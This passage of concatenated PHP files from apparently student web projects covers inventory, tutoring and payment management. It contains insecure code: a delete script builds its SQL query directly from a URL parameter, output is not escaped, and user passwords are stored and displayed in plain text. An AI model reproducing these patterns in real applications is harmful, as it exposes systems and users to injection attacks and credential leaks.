class="fa fa-trash"></i> </a></center> </td> <!--<td><a href="index.php?action=editarProducto&id='.$item["id_producto"].'"><button class="btn btn-block btn-secondary">Editar</button></a></td>--> <!--<td><a href="index.php?action=productos&idBorrar='.$item["id_producto"].'"><button class="btn btn-block btn-danger">Borrar</button></a></td>--> </tr>'; } } #OBTENER EL TOTAL DE USUARIOS #------------------------------------ public function totalUsuariosController(){ $respuesta = Datos::totalUsuariosModel("usuarios"); echo count($respuesta); } #OBTENER EL TOTAL DE USUARIOS para la grafica circular del dashboard #------------------------------------ public function totalUsuariosGController(){ $respuesta = Datos::totalUsuariosModel("usuarios"); echo '<input type="text" class="knob" data-readonly="true" value='.count($respuesta).' data-width="100" data-height="100" data-fgColor="#000000">'; } #OBTENER EL TOTAL DE PRODUCTOS #------------------------------------ public function totalProductosController(){ $respuesta = Datos::totalProductosModel("productos"); echo count($respuesta); } #OBTENER EL TOTAL DE PRODUCTOS para la grafica circular de dashboard #------------------------------------ public function totalProductosGController(){ $respuesta = Datos::totalProductosModel("productos"); echo '<input type="text" class="knob" data-readonly="true" value='.count($respuesta).' data-width="100" data-height="100" data-fgColor="#000000">'; } #OBTENER EL TOTAL DE CATEGORIAS #------------------------------------ public function totalCategoriasController(){ $respuesta = Datos::totalCategoriasModel("categorias"); echo count($respuesta); } #OBTENER EL TOTAL DE MOVIMIENTOS #------------------------------------ public function totalMovimientosController(){ $respuesta = Datos::totalMovimientosModel("historial"); echo count($respuesta); } #OBTENER EL TOTAL DE MOVIMIENTOS para la grafica en el dashboard #------------------------------------ public function totalMovimientosGController(){ $respuesta = Datos::totalMovimientosModel("historial"); echo '<input type="text" class="knob" data-readonly="true" value='.count($respuesta).' data-width="100" data-height="100" data-fgColor="#000000">'; } #VISTA DE LAS CATEGORIAS #------------------------------------ public function vistaCategoriasController(){ $respuesta = Datos::vistaCategoriasModel("categorias"); #El constructor foreach proporciona un modo sencillo de iterar sobre arrays. foreach funciona sólo sobre arrays y objetos, y emitirá un error al intentar usarlo con una variable de un tipo diferente de datos o una variable no inicializada. foreach($respuesta as $row => $item){ echo'<tr> <td>'.$item["id_categoria"].'</td> <td>'.$item["nombre"].'</td> <td>'.$item["descripcion"].'</td> <td>'.$item["fecha"].'</td> <td><center><a href="index.php?action=editarCategoria&id='.$item["id_categoria"].'" class="btn btn-info" title= "Editar Categoría"> <i class="fa fa-edit"></i> </a> <a href="index.php?action=categorias&idBorrar='.$item["id_categoria"].'" class="btn btn-danger" title= "Borrar Categoría"> <i class="fa fa-trash"></i> </a></center> </td> <!--<td><a href="index.php?action=editarCategoria&id='.$item["id_categoria"].'"><button class="btn btn-block btn-secondary">Editar</button></a></td>--> <!--<td><a href="index.php?action=categorias&idBorrar='.$item["id_categoria"].'"><button class="btn btn-block btn-danger">Borrar</button></a></td>--> </tr>'; } } #EDITAR USUARIO #------------------------------------ public function editarUsuarioController(){ $datosController = $_GET["id"]; $respuesta = Datos::editarUsuarioModel($datosController, "usuarios"); echo' <div class="card-body"> <div class="row"> <div class="col-md-6"> <div class="form-group"> <label for="exampleInputEmail1">ID</label> <input type="text" class="form-control" value="'.$respuesta["id_usuario"].'" name="idEditar" readonly> </div> <div class="form-group"> <label for="exampleInputEmail1">Nombre</label> <input type="text" class="form-control" value="'.$respuesta["nombre"].'" name="nombreEditar" required> </div> <!-- /.form-group --> <div class="form-group"> <label for="exampleInputPassword1">Username</label> <input type="text" class="form-control" value="'.$respuesta["username"].'" name="usernameEditar" required> </div> <!-- /.form-group --> <div class="form-group"> <label for="exampleInputPassword1">Password</label> <input type="text" class="form-control" value="'.$respuesta["password"].'" name="passwordEditar" required> </div> </div> <!-- /.col --> <div class="col-md-6"> <div class="form-group"> <label for="exampleInputEmail1">Apellido</label> <input type="text" class="form-control" value="'.$respuesta["apellido"].'" name="apellidoEditar" placeholder="Apellido"> </div> <!-- /.form-group --> <div class="form-group"> <label for="exampleInputPassword1">Email</label> <input type="email" class="form-control" nvalue="'.$respuesta["email"].'" name="emailEditar" placeholder="Email"> </div> <!-- /.form-group --> <div class="form-group"> <label for="exampleInputPassword1">Fecha</label> <input type="date" class="form-control" value="'.$respuesta["fecha"].'" name="fechaEditar" placeholder="Fecha"> </div> </div> <!-- /.col --> </div> <!-- /.row --> </div> <!-- /.card-body --> <div class="card-body"> <div class="row"> <div class="col-md-3"> <div></div> </div> <div class="col-md-6"> <div class="card-footer"> <input type="submit" class="btn btn-block" style="background-color: #dd7d00; color: white;" name="actualizar" value="Actualizar"> </div> </div> <div class="col-md-3"> <div></div> </div> </div> </div>'; } #EDITAR PRODUCTO #------------------------------------ public function editarProductoController(){ $datosController = $_GET["id"]; $respuesta = Datos::editarProductoModel($datosController, "productos"); $respuesta2 = Datos::seleccionarCategoriasModel("categorias"); echo' <div class="card-body"> <div class="row"> <div class="col-md-6"> <div class="form-group"> <label for="exampleInputEmail1">ID de Producto</label> <input type="text" class="form-control" value="'.$respuesta["id_producto"].'" name="idEditar" readonly> </div> <div class="form-group"> <label for="exampleInputEmail1">Código de Producto</label> <input type="text" class="form-control" value="'.$respuesta["codigo_producto"].'" name="codigoproductoEditar" placeholder="Código de Producto"> </div> <!-- /.form-group --> <div class="form-group"> <label for="exampleInputEmail1">Nombre</label> <input type="text" class="form-control" value="'.$respuesta["nombre"].'" name="nombreEditar" required> </div> <!-- /.form-group --> <div class="form-group"> <label for="exampleInputPassword1">Fecha</label> <input type="date" class="form-control" value="'.$respuesta["fecha"].'" name="fechaEditar" placeholder="Fecha"> </div> </div> <!-- /.col --> <div class="col-md-6"> <div class="form-group"> <label for="exampleInputEmail1">Precio</label> <input type="number" class="form-control" value="'.$respuesta["preciounitario"].'" name="precioEditar" required> </div> <!-- /.form-group --> <div class="form-group"> <label for="exampleInputPassword1">Stock</label> <input type="number" class="form-control" value="'.$respuesta["stock"].'" name="stockEditar" required> </div> <!-- /.form-group --> <div class="form-group"> <!-- <label for="exampleInputPassword1">Descripción</label> <input type="text" class="form-control" name="descripcionEditar" required>--> <label for="exampleInputPassword1">Categoria</label> <!--<input type="text" class="form-control" name="categoria" placeholder="Categoria">--> <select class="form-control select2" type="number" name="categoriaEditar" style="width: 100%;">'; foreach($respuesta2 as $row => $item){ if($respuesta["id_categoria"]==$item["id_categoria"]){ echo '<option selected="selected">'.$respuesta["id_categoria"].' - '.$item["nombre"].'</option>'; }else{ echo'<option>'.$item["id_categoria"].' - '.$item["nombre"].'</option>'; } } echo '</select> </div> </div> <!-- /.col --> </div> <!-- /.row --> </div> <!-- /.card-body --> <div class="card-body"> <div class="row"> <div class="col-md-3"> <div></div> </div> <div class="col-md-6"> <div class="card-footer"> <input type="submit" class="btn btn-block" style="background-color: #dd7d00; color: white;" name="actualizar" value="Actualizar"> </div> </div> <div class="col-md-3"> <div></div> </div> </div> </div>'; } #AGREGAR STOCK AL PRODUCTO #------------------------------------ public function añadirStockProductoController(){ $datosController = $_GET["id"]; $respuesta = Datos::editarProductoModel($datosController, "productos"); $respuesta2 = Datos::seleccionarCategoriasModel("categorias"); $respuesta3 = Datos::seleccionarUsuariosModel("usuarios"); echo' <div class="card-body"> <div class="row"> <div class="col-md-6"> <div class="form-group"> <label for="exampleInputEmail1">ID de Producto</label> <input type="text" class="form-control" value="'.$respuesta["id_producto"].'" name="idEditar" readonly> </div> <div class="form-group"> <label for="exampleInputEmail1">Código de Producto</label> <input type="text" class="form-control" value="'.$respuesta["codigo_producto"].'" name="codigoproductoEditar" readonly> </div> <!-- /.form-group --> <div class="form-group"> <label for="exampleInputEmail1">Nombre</label> <input type="text" class="form-control" value="'.$respuesta["nombre"].'" name="nombreEditar" readonly> </div> <!-- /.form-group --> <div class="form-group"> <label for="exampleInputPassword1">Fecha Registro de Producto</label> <input type="date" class="form-control" value="'.$respuesta["fecha"].'" name="fechaEditar" readonly> </div> <div class="form-group"> <label for="exampleInputEmail1">Nombre Usuario</label> <select class="form-control select2" type="number" name="nombreUserEditar" style="width: 100%;">'; foreach($respuesta3 as $row => $item){ echo'<option>'.$item["id_usuario"].' - '.$item["nombre"].'</option>'; } echo' </select> </div> <div class="form-group"> <label for="exampleInputEmail1">Fecha de Movimiento</label> <input type="date" class="form-control" name="fechaMovEditar"> </div> </div> <!-- /.col --> <div class="col-md-6"> <div class="form-group"> <label for="exampleInputEmail1">Precio</label> <input type="number" class="form-control" value="'.$respuesta["preciounitario"].'" name="precioEditar" readonly> </div> <!-- /.form-group --> <div class="form-group"> <label for="exampleInputPassword1">Stock</label> <input type="number" class="form-control" value="'.$respuesta["stock"].'" name="stockEditar" readonly> </div> <!-- /.form-group --> <div class="form-group"> <!-- <label for="exampleInputPassword1">Descripción</label> <input type="text" class="form-control" name="descripcionEditar" required>--> <label for="exampleInputPassword1">Categoria</label> <!--<input type="text" class="form-control" name="categoria" placeholder="Categoria">--> <select class="form-control select2" type="number" name="categoriaEditar" style="width: 100%;" readonly>'; foreach($respuesta2 as $row => $item){ if($respuesta["id_categoria"]==$item["id_categoria"]){ echo '<option selected="selected">'.$respuesta["id_categoria"].' - '.$item["nombre"].'</option>'; }else{ echo'<option>'.$item["id_categoria"].' - '.$item["nombre"].'</option>'; } } echo '</select> </div> <div class="form-group"> <label for="exampleInputPassword1">Cantidad a Agregar</label> <input type="number" class="form-control" name="stockAgregarEditar"> </div> <div class="form-group"> <label for="exampleInputPassword1">Nota</label> <input type="text" class="form-control" name="notaEditar"> </div> <div class="form-group"> <label for="exampleInputPassword1">Referencia</label> <input type="text" class="form-control" name="referenciaEditar"> </div> </div> <!-- /.col --> </div> <!-- /.row --> </div> <!-- /.card-body --> <div class="card-body"> <div class="row"> <div class="col-md-3"> <div></div> </div> <div class="col-md-6"> <div class="card-footer"> <input type="submit" class="btn btn-block" style="background-color: #dd7d00; color: white;" name="actualizar" value="Actualizar Stock"> </div> </div> <div class="col-md-3"> <div></div> </div> </div> </div>'; } #QUITAR STOCK AL PRODUCTO #------------------------------------ public function quitarStockProductoController(){ $datosController = $_GET["id"]; $respuesta = Datos::editarProductoModel($datosController, "productos"); $respuesta2 = Datos::seleccionarCategoriasModel("categorias"); $respuesta3 = Datos::seleccionarUsuariosModel("usuarios"); echo' <div class="card-body"> <div class="row"> <div class="col-md-6"> <div class="form-group"> <label for="exampleInputEmail1">ID de Producto</label> <input type="text" class="form-control" value="'.$respuesta["id_producto"].'" name="idEditar" readonly> </div> <div class="form-group"> <label for="exampleInputEmail1">Código de Producto</label> <input type="text" class="form-control" value="'.$respuesta["codigo_producto"].'" name="codigoproductoEditar" readonly> </div> <!-- /.form-group --> <div class="form-group"> <label for="exampleInputEmail1">Nombre</label> <input type="text" class="form-control" value="'.$respuesta["nombre"].'" name="nombreEditar" readonly> </div> <!-- /.form-group --> <div class="form-group"> <label for="exampleInputPassword1">Fecha Registro de Producto</label> <input type="date" class="form-control" value="'.$respuesta["fecha"].'" name="fechaEditar" readonly> </div> <div class="form-group"> <label for="exampleInputEmail1">Nombre Usuario</label> <select class="form-control select2" type="number" name="nombreUserEditar" style="width: 100%;">'; foreach($respuesta3 as $row => $item){ echo'<option>'.$item["id_usuario"].' - '.$item["nombre"].'</option>'; } echo' </select> </div> <div class="form-group"> <label for="exampleInputEmail1">Fecha de Movimiento</label> <input type="date" class="form-control" name="fechaMovEditar"> </div> </div> <!-- /.col --> <div class="col-md-6"> <div class="form-group"> <label for="exampleInputEmail1">Precio</label> <input type="number" class="form-control" value="'.$respuesta["preciounitario"].'" name="precioEditar" readonly> </div> <!-- /.form-group --> <div class="form-group"> <label for="exampleInputPassword1">Stock</label> <input type="number" class="form-control" value="'.$respuesta["stock"].'" name="stockEditar" readonly> </div> <!-- /.form-group --> <div class="form-group"> <!-- <label for="exampleInputPassword1">Descripción</label> <input type="text" class="form-control" name="descripcionEditar" required>--> <label for="exampleInputPassword1">Categoria</label> <!--<input type="text" class="form-control" name="categoria" placeholder="Categoria">--> <select class="form-control select2" type="number" name="categoriaEditar" style="width: 100%;" readonly>'; foreach($respuesta2 as $row => $item){ if($respuesta["id_categoria"]==$item["id_categoria"]){ echo '<option selected="selected">'.$respuesta["id_categoria"].' - '.$item["nombre"].'</option>'; }else{ echo'<option>'.$item["id_categoria"].' - '.$item["nombre"].'</option>'; } } echo '</select> </div> <div class="form-group"> <label for="exampleInputPassword1">Cantidad a Quitar</label> <input type="number" class="form-control" name="stockAgregarEditar"> </div> <div class="form-group"> <label for="exampleInputPassword1">Nota</label> <input type="text" class="form-control" name="notaEditar"> </div> <div class="form-group"> <label for="exampleInputPassword1">Referencia</label> <input type="text" class="form-control" name="referenciaEditar"> </div> </div> <!-- /.col --> </div> <!-- /.row --> </div> <!-- /.card-body --> <div class="card-body"> <div class="row"> <div class="col-md-3"> <div></div> </div> <div class="col-md-6"> <div class="card-footer"> <input type="submit" class="btn btn-block" style="background-color: #dd7d00; color: white;" name="actualizar" value="Actualizar Stock"> </div> </div> <div class="col-md-3"> <div></div> </div> </div> </div>'; } #EDITAR CATEGORIA #------------------------------------ public function editarCategoriaController(){ $datosController = $_GET["id"]; $respuesta = Datos::editarCategoriaModel($datosController, "categorias"); echo' <div class="card-body"> <div class="row"> <div class="col-md-6"> <div class="form-group"> <label for="exampleInputEmail1">ID de Categoria</label> <input type="text" class="form-control" value="'.$respuesta["id_categoria"].'" name="idEditar" readonly> </div> <!-- /.form-group --> <div class="form-group"> <label for="exampleInputEmail1">Nombre</label> <input type="text" class="form-control" value="'.$respuesta["nombre"].'" name="nombreEditar" required> </div> <!-- /.form-group --> </div> <!-- /.col --> <div class="col-md-6"> <div class="form-group"> <label for="exampleInputEmail1">Descripción</label> <input type="text" class="form-control" value="'.$respuesta["descripcion"].'" name="descripcionEditar" required> </div> <!-- /.form-group --> <div class="form-group"> <label for="exampleInputPassword1">Fecha</label> <input type="date" class="form-control" value="'.$respuesta["fecha"].'" name="fechaEditar" required> </div> <!-- /.form-group --> </div> <!-- /.col --> </div> <!-- /.row --> </div> <!-- /.card-body --> <div class="card-body"> <div class="row"> <div class="col-md-3"> <div></div> </div> <div class="col-md-6"> <div class="card-footer"> <input type="submit" class="btn btn-block" style="background-color: #dd7d00; color: white;" name="actualizar" value="Actualizar"> </div> </div> <div class="col-md-3"> <div></div> </div> </div> </div>'; } #ACTUALIZAR USUARIO #------------------------------------ public function actualizarUsuarioController(){ if(isset($_POST["actualizar"])){ $datosController = array( "id_usuario"=>$_POST["idEditar"], "nombre"=>$_POST["nombreEditar"], "apellido"=>$_POST["apellidoEditar"], "username"=>$_POST["usernameEditar"], "password"=>$_POST["<PASSWORD>"], "email"=>$_POST["emailEditar"], "fecha"=>$_POST["fechaEditar"]); $respuesta = Datos::actualizarUsuarioModel($datosController, "usuarios"); if($respuesta == "success"){ header("location:index.php?action=UsuarioEditado"); } else{ echo "error"; } } } #ACTUALIZAR PRODUCTO #------------------------------------ public function actualizarProductoController(){ if(isset($_POST["actualizar"])){ $datosController = array( "id_producto"=>$_POST["idEditar"], "codigo_producto"=>$_POST["codigoproductoEditar"], "nombre"=>$_POST["nombreEditar"], "fecha"=>$_POST["fechaEditar"], "preciounitario"=>$_POST["precioEditar"], "stock"=>$_POST["stockEditar"], "categoria"=>$_POST["categoriaEditar"]); $respuesta = Datos::actualizarProductoModel($datosController, "productos"); if($respuesta == "success"){ header("location:index.php?action=ProductoEditado"); } else{ echo "error"; } } } #ACTUALIZAR AGREGADO DE STOCK #------------------------------------ public function actualizaradicionStockProductoController(){ if(isset($_POST["actualizar"])){ $datosController = array( "id_producto"=>$_POST["idEditar"], "codigo_producto"=>$_POST["codigoproductoEditar"], "nombre"=>$_POST["nombreEditar"], "fecha"=>$_POST["fechaEditar"], "id_usuario"=>$_POST["nombreUserEditar"], "fechaMov"=>$_POST["fechaMovEditar"], "preciounitario"=>$_POST["precioEditar"], "stock"=>$_POST["stockEditar"], "categoria"=>$_POST["categoriaEditar"], "cantidad"=>$_POST["stockAgregarEditar"], "nota"=>$_POST["notaEditar"], "referencia"=>$_POST["referenciaEditar"]); $respuesta = Datos::actualizaradicionStockProductoModel($datosController, "productos"); if($respuesta == "success"){ $respuesta2 = Datos::registroHistorialModel($datosController, "historial"); if($respuesta2 == "success"){ header("location:index.php?action=StockAñadido"); }else{ echo "error"; } } else{ echo "error"; } } } #ACTUALIZAR RETIRO DE STOCK #------------------------------------ public function actualizarretiroStockProductoController(){ if(isset($_POST["actualizar"])){ $datosController = array( "id_producto"=>$_POST["idEditar"], "codigo_producto"=>$_POST["codigoproductoEditar"], "nombre"=>$_POST["nombreEditar"], "fecha"=>$_POST["fechaEditar"], "id_usuario"=>$_POST["nombreUserEditar"], "fechaMov"=>$_POST["fechaMovEditar"], "preciounitario"=>$_POST["precioEditar"], "stock"=>$_POST["stockEditar"], "categoria"=>$_POST["categoriaEditar"], "cantidad"=>$_POST["stockAgregarEditar"], "nota"=>$_POST["notaEditar"], "referencia"=>$_POST["referenciaEditar"]); $respuesta = Datos::actualizarretiroStockProductoModel($datosController, "productos"); if($respuesta == "success"){ $respuesta2 = Datos::registroHistorialModel($datosController, "historial"); if($respuesta2 == "success"){ header("location:index.php?action=StockReducido"); }else{ echo "error"; } } else{ echo "error"; } } } #ACTUALIZAR CATEGORIA #------------------------------------ public function actualizarCategoriaController(){ if(isset($_POST["actualizar"])){ $datosController = array( "id_producto"=>$_POST["idEditar"], "nombre"=>$_POST["nombreEditar"], "descripcion"=>$_POST["descripcionEditar"], "fecha"=>$_POST["fechaEditar"]); $respuesta = Datos::actualizarCategoriaModel($datosController, "categorias"); if($respuesta == "success"){ header("location:index.php?action=CategoriaEditada"); } else{ echo "error"; } } } #BORRAR USUARIO #------------------------------------ public function borrarUsuarioController(){ if(isset($_GET["idBorrar"])){ $datosController = $_GET["idBorrar"]; $respuesta = Datos::borrarUsuarioModel($datosController, "usuarios"); if($respuesta == "success"){ header("location:index.php?action=usuarios"); } } } #BORRAR MOVIMIENTO #------------------------------------ public function borrarMovimientoController(){ if(isset($_GET["idBorrar"])){ $datosController = $_GET["idBorrar"]; $respuesta = Datos::borrarMovimientoModel($datosController, "historial"); if($respuesta == "success"){ header("location:index.php?action=historial"); } } } #BORRAR PRODUCTO #------------------------------------ public function borrarProductoController(){ if(isset($_GET["idBorrar"])){ $datosController = $_GET["idBorrar"]; $respuesta = Datos::borrarProductoModel($datosController, "productos"); if($respuesta == "success"){ header("location:index.php?action=productos"); } } } #BORRAR CATEGORIAS #------------------------------------ public function borrarCategoriasController(){ if(isset($_GET["idBorrar"])){ $datosController = $_GET["idBorrar"]; $respuesta = Datos::borrarCategoriaModel($datosController, "categorias"); //$respuesta2 = Datos::borrarCategoriaModel($datosController, "categorias"); if($respuesta == "success" /*&& $respuesta2 == "success"*/){ header("location:index.php?action=categorias"); } } } #SELECCIONAR CATEGORIAS EXISTENTES #------------------------------------ public function seleccionarCategoriasController(){ $respuesta = Datos::seleccionarCategoriasModel("categorias"); #El constructor foreach proporciona un modo sencillo de iterar sobre arrays. foreach funciona sólo sobre arrays y objetos, y emitirá un error al intentar usarlo con una variable de un tipo diferente de datos o una variable no inicializada. foreach($respuesta as $row => $item){ echo'<option>'.$item["id_categoria"].' - '.$item["nombre"].'</option>'; } } } //// ?><file_sep>/Practica08/views/modules/editartutorias.php <?php //Validacion de sesion para no ingresar a una seccion sin antes estar logeado session_start(); if(!$_SESSION["validar"]){ header("location:index.php?action=ingresar"); exit(); } ?> <br> <h4>EDITAR TUTORIA</h4> <hr><br> <strong><h4>Información General</h4></strong> <br> <form method="post"> <?php //Se llama al controlador de tutorias, ademas se llama a editar y actualizar tutoria $editarTutorias = new MvcControllerTutorias(); $editarTutorias -> editarTutoriaController(); $editarTutorias -> actualizarTutoriaController(); ?> </form> <file_sep>/Envios/views/modules/registrarPago.php <?php //Verifica la sesion session_start(); if(!$_SESSION["validar"]){ header("location:index.php?action=ingresar"); exit(); } ?> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title>Pagos | Registrar Pagos</title> </head> <body class="hold-transition sidebar-mini"> <div class="wrapper"> <!-- Formulario para la insercion de Alumnos --> <!-- Content Wrapper. Contains page content --> <div class="content-wrapper"> <!-- Content Header (Page header) --> <section class="content-header"> <div class="container-fluid"> <div class="row mb-2"> <div class="col-sm-6"> <h1>Registrar Pago</h1> </div> <div class="col-sm-6"> <ol class="breadcrumb float-sm-right"> <li class="breadcrumb-item"><a href="index.php?action=dashboard">Home</a></li> <li class="breadcrumb-item active">Registrar Pago</li> </ol> </div> </div> </div><!-- /.container-fluid --> </section> <!-- Main content --> <section class="content"> <div class="container-fluid"> <div class="row"> <!-- left column --> <div class="col-md-12"> <!-- general form elements --> <div class="card card-info"> <div class="card-header" style="background-color: #954E9E"> <div class="float-right"> <a href="index.php?action=pagos"><input class="btn btn-block btn-outline-warning" value="Listado de Pagos"></a> </div> <h3 class="card-title">Información General</h3> </div> <!-- /.card-header --> <!-- Formulario de registro de usuario --> <form method="post" enctype="multipart/form-data"> <div class="card-body"> <div class="row"> <div class="col-md-6"> <!-- /.form-group --> <div class="form-group"> <label for="exampleInputPassword1">Grupo</label> <select class="form-control select2" type="number" name="IdGrupo" id="grupo" style="width: 100%;" onchange="act();"> <?php $grupos = new MvcController(); $grupos -> seleccionarGruposController(); ?> </select> </div> <!--<input type="submit" class="btn btn-block" style="background-color: #dd7d00; color: white;" name="actualizar" value="Actualizar Alumnas">--> <div class="form-group"> <label for="exampleInputPassword1">Alumna</label> <select class="form-control select2" type="number" name="alumna" id="alumna" style="width: 100%;"> <?php $Calumnas = new MvcController(); $alumnas = $Calumnas -> verAlumnasController(); ?> </select> </div> <div class="form-group"> <label for="exampleInputEmail1">Nombre de la Mama</label> <input type="text" class="form-control" name="nombre" placeholder="Nombre"> </div> <div class="form-group"> <label for="exampleInputEmail1">Apellido de la Mama</label> <input type="text" class="form-control" name="apellido" placeholder="Apellido"> </div> </div> <!-- /.col --> <div class="col-md-6"> <div class="form-group"> <label for="exampleInputEmail1">Fecha</label> <input type="date" class="form-control" name="fecha" placeholder="Fecha"> </div> <div class="form-group"> <label for="exampleInputFile">Imagen</label> <div class="input-group"> <div class="custom-file"> <input type="file" class="custom-file-input" id="exampleInputFile" name="fileToUpload" id="fileToUpload"> <label class="custom-file-label" for="exampleInputFile">Escoger archivo</label> </div> </div> </div> <div class="form-group"> <label for="exampleInputEmail1">Folio</label> <input type="number" class="form-control" name="folio" min="1" placeholder="Folio"> </div> </div> <!-- /.col --> </div> <!-- /.row --> </div> <!-- /.card-body --> <div class="card-body"> <div class="row"> <div class="col-md-3"> <div></div> </div> <div class="col-md-6"> <div class="card-footer"> <input type="submit" class="btn btn-block" style="background-color: #dd7d00; color: white;" name="enviar" value="Añadir"> </div> </div> <div class="col-md-3"> <div></div> </div> </div> </div> </form> <input type="hidden" name="alu" id="alu" value="<?php echo $alumnas ?>"> </div> <!-- /.card --> </div> </div> </div> </section> </div> </div> </body> </html> <script type="text/javascript"> var alumnasA = document.getElementById("alu").value+""; function act(){ $('#alumna').empty().trigger("change"); var g = document.getElementById("grupo").value+""; var v1 = alumnasA.split("$"); for (var i = 0; i < v1.length-1; i++) { var f = v1[i].split(","); if(f[2]===g){ document.getElementById("alumna").options[document.getElementById("alumna").options.length] = new Option(f[1], f[0]); } } } </script> <?php //Enviar los datos al controlador MvcController (es la clase principal de controller.php) $registro = new MvcController(); //se invoca la función registroUsuarioController de la clase MvcController: $registro -> registroPagoController(); if(isset($_GET["action"])){ if($_GET["action"] == "UsuarioRegistrado"){ //echo "Producto Añadido"; } } ?> <file_sep>/Calificar/5/Practica_06/index.php <!--Mandamos llamar las funciones que estan en funciones.php para las consultas qjue se necesitan--> <?php include("funciones.php"); //Llamado a todas las funciones para traer los arrays con los valores correspodientes a cada consulta total_usuarios(); total_estatus(); total_logeados(); total_usuarios_tipo(); total_usuarios_activos(); total_usuarios_inactivos(); usuarios(); estatus(); usuario_estatus(); loguear(); usuarios_logueados(); tipos(); tipos_usuarios(); ?> <!doctype html> <html class="no-js" lang="en"> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <title>Practica 06: Ejercicio 1</title> <link rel="stylesheet" href="../css/foundation.css" /> <script src="../js/vendor/modernizr.js"></script> </head> <body> <!--Mandamos llamar el header--> <?php require_once('header.php'); ?> <div class="row"> <div class="large-12 columns" align="center"> <div class="section-container tabs" data-section> <section class="section"> <div class="content" data-slug="panel1"> <div class="row"> <H1>TOTAL</H1> <table> <thead> <tr> <th width="200">Usuarios</th> <th width="250">Tipos</th> <th width="250">Status</th> <th width="250">Accesos</th> <th widht="250">Usuarios Activos</th> <th widht="250">Usuarios Inactivos</th> </tr> </thead> <tbody> <tr> <!--Total de usuarios, tipos, estatus,logueados, usuarios activos e inactivos--> <td><?php echo $total_users;?></td> <td><?php echo $total_users_type;?></td> <td><?php echo $total_status;?></td> <td><?php echo $total_logged;?></td> <td><?php echo $total_active_users;?></td> <td><?php echo $total_inactive_users;?></td> </tr> </tbody> </table> </div> </section> <!--TABLA USUARIOS--> <section class="section"> <h3>Contenido Tabla Usuarios</h3> <div class="content" data-slug="panel1"> <div class="row"> <table> <thead> <tr> <th width="200">ID</th> <th width="250">E-Mail</th> <th width="250">Password</th> <th width="250">Stauts</th> <th widht="250">UserType</th> </tr> </thead> <tbody> <?php $i=0; while($i<$total_users){//Mientras el contador sea menor a la Cantidad de usuarios funcionara ?> <tr> <!--Traemos los campos correspondientes del id email, password, estatus id y tipo de id--> <td><?php echo $user[$i]['id']?></td> <td><?php echo $user[$i]['email'];?></td> <td><?php echo $user[$i]['password'];?></td> <td><?php echo $user[$i]['status_id']. " - " . $user_status[$i]['name'];?></td> <td><?php echo $user[$i]['user_type_id']. " - " . $user_type[$i]['name'];?></td> </tr> <?php $i++; } ?> </tbody> </table> </div> </section> <!--tabla status--> <section class="section"> <h3>Contenido Tabla Status</h3> <div class="content" data-slug="panel1"> <div class="row"> <table> <thead> <tr> <th width="200">ID</th> <th width="250">Nombre</th> </tr> </thead> <tbody> <?php $i=0; while($i<$total_status){ ?> <tr> <!--imprimimos los campos id y nombre--> <td><?php echo $status[$i]['id']?></td> <td><?php echo $status[$i]['name'];?></td> </tr> <?php $i++; } ?> </tbody> </table> </div> </section> <!--TABLA DE USSER LOG--> <section class="section"> <h3>Contenido Tabla User Log</h3> <div class="content" data-slug="panel1"> <div class="row"> <table> <thead> <tr> <th width="200">ID</th> <th width="250">Fecha de Sesion</th> <th width="250">Usuario</th> </tr> </thead> <tbody> <?php $i=0; while($i<$total_logged){ ?> <tr> <!--Mientras el ciclo este funcionando estara imrimiendo los valores de id, fecha d logueo y id dde usuario--> <td><?php echo $log[$i]['id']?></td> <td><?php echo $log[$i]['date_logged_in'];?></td> <td><?php echo $log[$i]['user_id'] . " - " . $user_log[$i]['email'];?></td> </tr> <?php $i++; } ?> </tbody> </table> </div> </section> <!--tabla de tipos de usuarios--> <section class="section"> <h3>Contenido Tabla User Type</h3> <div class="content" data-slug="panel1"> <div class="row"> <table> <thead> <tr> <th width="200">ID</th> <th width="250">Nombre</th> </tr> </thead> <tbody> <?php $i=0;//Controlador del ciclo while($i<$total_status){//Mientras el contador sea menor a total status... ?> <tr> <!--Se estaran imprimiendo los valores de id y nomhbre--> <td><?php echo $type[$i]['id']?></td> <td><?php echo $type[$i]['name'];?></td> </tr> <?php $i++; } ?> </tbody> </table> </div> </section> </div> </div> </div> <!--Mandamos llamar el footer--> <?php require_once('footer.php'); ?><file_sep>/Practica07/eliminar2.php <?php //El archivo connection.php permite la conexion a la base de datos mediante pdo require_once('connection.php'); $id = $_GET['id']; //Consulta que permite la eliminacion de un usuario o jugador de futbol $sql = "DELETE FROM productos WHERE id='$id'"; $statement = $pdo->prepare($sql); $statement->bindParam(':id',$id); $statement->execute(); $result = $statement->fetchAll(); header("Location: productos.php"); ?><file_sep>/Practica07/productos.php <?php session_start(); if(!isset($_SESSION['username'])) { header('Location: index.php'); } ?> <?php //El archivo connection.php permite la conexion a la base de datos mediante pdo require_once('connection.php'); global $pdo,$sql; //Consulta las filas de la tabla futbol $sql = 'SELECT id,nombre,descripcion,preciounitario FROM productos'; $statement = $pdo->prepare($sql); $statement->execute(); $filas_f = $statement->fetchAll(PDO::FETCH_OBJ); ?> <!doctype html> <html class="no-js" lang="en"> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <title>Practica 7 - Productos</title> <link rel="stylesheet" href="./css/foundation.css" /> <script src="./js/vendor/modernizr.js"></script> </head> <body> <?php require_once('header.php'); ?> <div class="row"> <div class="large-12 columns"> <h4><b><center><font color=000000>Sistema de Ventas</font></center></b></h4> <h4><b><font color=000000><center>Listado de Productos</center></font></b></h4> <a href="./añadir2.php" class="button radius tiny" style="background-color: #06515e">Agregar Nuevo Producto</a> <a href="./usuarios.php" class="button radius tiny " style="background-color: #06515e">Ir al listado de Usuarios</a> <a href="./ventas.php" class="button radius tiny " style="background-color: #06515e">Ir al listado de Ventas</a> <div class="section-container tabs" data-section> <section class="section"> <div class="content" data-slug="panel1"> <div class="row"> </div> <table style="background-color: #06515e"> <thead style="background-color: #06515e"> <tr style="background-color: #06515e"> <th width="50"><font color=ffffff>ID</th> <th width="300"><font color=ffffff>Nombre</th> <th width="400"><font color=ffffff>Descripcion</th> <th width="100"><font color=ffffff>Precio Unitario</th> <th width="300"><font color=ffffff>Acciones</th> </tr> </thead> <tbody> <tr> <?php foreach ($filas_f as $fila): ?> <tr style="background-color: #ffffff"> <td><font color=000000><?php echo $fila->id ?></td> <td><font color=000000><?php echo $fila->nombre ?></td> <td><font color=000000><?php echo $fila->descripcion ?></td> 